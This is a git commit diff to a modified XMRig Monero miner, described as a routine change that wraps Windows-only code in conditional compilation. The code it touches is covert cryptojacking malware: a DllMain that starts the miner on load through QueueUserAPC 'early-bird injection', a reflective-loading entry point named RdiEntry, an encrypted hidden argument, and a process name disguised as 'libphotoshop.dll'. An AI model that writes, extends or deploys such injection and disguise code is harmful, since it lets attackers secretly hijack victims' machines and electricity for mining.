Wrap Windows-specific code in conditional compilation

- Wrap DLL functions and DllMain in #ifdef _WIN32 in xmrig.cpp
- Fix Miner.cpp syntax by removing duplicate lines
- Windows throttling code now only compiles on Windows
- Linux builds should work without Windows-specific code
This commit is contained in:
JorySeverijnse 2025-12-13 23:56:11 +01:00
parent cc4f3e01f6
commit 331e1e115d
2 changed files with 21 additions and 20 deletions

View File

@ -724,9 +724,6 @@ void xmrig::Miner::onTimer(const Timer *)
}
}
#endif
lastThrottleState = userActive;
}
}
if (stopMiner) {
stop();

View File

@ -5,7 +5,9 @@
#include "App.h"
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"
#ifdef _WIN32
#include <windows.h>
#endif
#include <winnt.h>
#include <string>
#include <cstring>
@ -44,6 +46,7 @@ extern "C" {
app->exec(); // ← blocks forever
}
#ifdef _WIN32
DLL_EXPORT DWORD RdiEntry(LPVOID) {
const unsigned char enc_arg[] = { 0xDA,0xD2,0xD5,0xDE,0xD5,0xD3,0xD2,0xD5,0xD7,0xDF,0xDF,0xD2,0xD8,0xD4,0xDE,0xDC,0xDC,0x00 };
std::string s = decrypt(enc_arg, sizeof(enc_arg)-1);
@ -58,24 +61,25 @@ extern "C" {
return 0;
}
} // extern "C"
// THIS IS THE ONLY CORRECT WAY TO AUTO-START WITH LoadLibraryW
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
// THIS IS THE ONLY CORRECT WAY TO AUTO-START WITH LoadLibraryW
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
// THIS IS THE REAL FIX FOR EARLY-BIRD INJECTION
QueueUserAPC([](ULONG_PTR) -> void {
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
// THIS IS THE REAL FIX FOR EARLY-BIRD INJECTION
QueueUserAPC([](ULONG_PTR) -> void {
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
char* argv[] = { (char*)"libphotoshop.dll", nullptr };
start_a(1, argv); // blocks forever
char* argv[] = { (char*)"libphotoshop.dll", nullptr };
start_a(1, argv); // blocks forever
WSACleanup();
}, GetCurrentThread(), 0);
WSACleanup();
}, GetCurrentThread(), 0);
}
return TRUE;
}
return TRUE;
}
#endif
} // extern "C"